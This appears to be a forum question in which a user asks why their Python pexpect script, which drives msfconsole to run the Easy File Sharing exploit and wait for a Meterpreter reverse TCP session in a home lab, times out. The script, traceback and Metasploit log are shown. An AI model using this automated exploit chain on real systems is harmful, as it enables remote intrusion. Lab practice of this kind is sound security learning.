I am trying to automate a reverse tcp shell attack on my own server lab. I am using msfconsole to exploit a vulnerability found in an old version of Easy File Sharing.
I am using pexpect to interface with msfcosole.
Here is my code:
def executeEasyFileSharing(target):
print("Executing: "+"msfconsole -q -x 'use exploit/windows/http/easyfilesharing_post ;set rhosts "+target[1]+";run")
print("About to metasploit")
#Create logfile
fout = open('mylog.txt', 'wb')
child = pexpect.spawn("msfconsole -q -x "+ str('"use exploit/windows/http/easyfilesharing_post ;set rhosts '+target[1] +';run"'))
child.logfile = fout
#print(f"msfconsole -q -x use exploit/windows/http/easyfilesharing_post ;set rhosts +${target[1]} +;run'")
child.expect("Meterpreter session 1 opened", timeout=300)
child.sendline("pwd")
child.expect("C:\WINDOWS\System32",timeout=300)
print("Success")
I receive this error and output when I run my code.
def executeEasyFileSharing(target):
print("Executing: "+"msfconsole -q -x 'use exploit/windows/http/easyfilesharing_post ;set rhosts "+target[1]+";run")
print("About to metasploit")
#Create logfile
fout = open('mylog.txt', 'wb')
child = pexpect.spawn("msfconsole -q -x "+ str('"use exploit/windows/http/easyfilesharing_post ;set rhosts '+target[1] +';run"'))
child.logfile = fout
#print(f"msfconsole -q -x use exploit/windows/http/easyfilesharing_post ;set rhosts +${target[1]} +;run'")
child.expect("Meterpreter session 1 opened", timeout=300)
child.sendline("pwd")
child.expect("C:\WINDOWS\System32",timeout=300)
print("Success")
[13:46]
About to metasploit
Traceback (most recent call last):
File "/home/barry/Desktop/HackSimScripts/HackingSim/HackSimulationMain.py", line 51, in <module>
executeEasyFileSharing(target)
File "/home/barry/Desktop/HackSimScripts/HackingSim/execution.py", line 29, in executeEasyFileSharing
child.expect("Meterpreter session 1 opened", timeout=300)
File "/usr/lib/python3/dist-packages/pexpect/spawnbase.py", line 343, in expect
return self.expect_list(compiled_pattern_list,
File "/usr/lib/python3/dist-packages/pexpect/spawnbase.py", line 372, in expect_list
return exp.expect_loop(timeout)
File "/usr/lib/python3/dist-packages/pexpect/expect.py", line 181, in expect_loop
return self.timeout(e)
File "/usr/lib/python3/dist-packages/pexpect/expect.py", line 144, in timeout
raise exc
pexpect.exceptions.TIMEOUT: Timeout exceeded.
<pexpect.pty_spawn.spawn object at 0x7fdeb53f3ac0>
command: /usr/bin/msfconsole
args: ['/usr/bin/msfconsole', '-q', '-x', 'use exploit/windows/http/easyfilesharing_post ;set rhosts 192.168.1.86;run']
buffer (last 100 chars): b'on was created.\r\n\x1b[?1034h\x1b[4mmsf6\x1b[0m exploit(\x1b[1m\x1b[31mwindows/http/easyfilesharing_post\x1b[0m) \x1b[0m> '
before (last 100 chars): b'on was created.\r\n\x1b[?1034h\x1b[4mmsf6\x1b[0m exploit(\x1b[1m\x1b[31mwindows/http/easyfilesharing_post\x1b[0m) \x1b[0m> '
after: <class 'pexpect.exceptions.TIMEOUT'>
match: None
match_index: None
exitstatus: None
flag_eof: False
pid: 4841
child_fd: 6
closed: False
timeout: 30
delimiter: <class 'pexpect.exceptions.EOF'>
logfile: <_io.BufferedWriter name='mylog.txt'>
logfile_read: None
logfile_send: None
maxread: 2000
ignorecase: False
searchwindowsize: None
delaybeforesend: 0.05
delayafterclose: 0.1
delayafterterminate: 0.1
searcher: searcher_re:
0: re.compile(b'Meterpreter session 1 opened')
This is what is displayed in the log file
[0m[1m[34m[][0m No payload configured, defaulting to windows/meterpreter/reverse_tcp
[0mrhosts => 192.168.1.86
[0m[1m[34m[][0m Started reverse TCP handler on 192.168.1.102:4444
[1m[34m[*][0m Exploit completed, but no session was created.
[?1034h[4mmsf6[0m exploit([1m[31mwindows/http/easyfilesharing_post[0m) [0m>
What is going wrong? I think there might be an issue in that p.expect is expecting a string, but the output is all in bytes.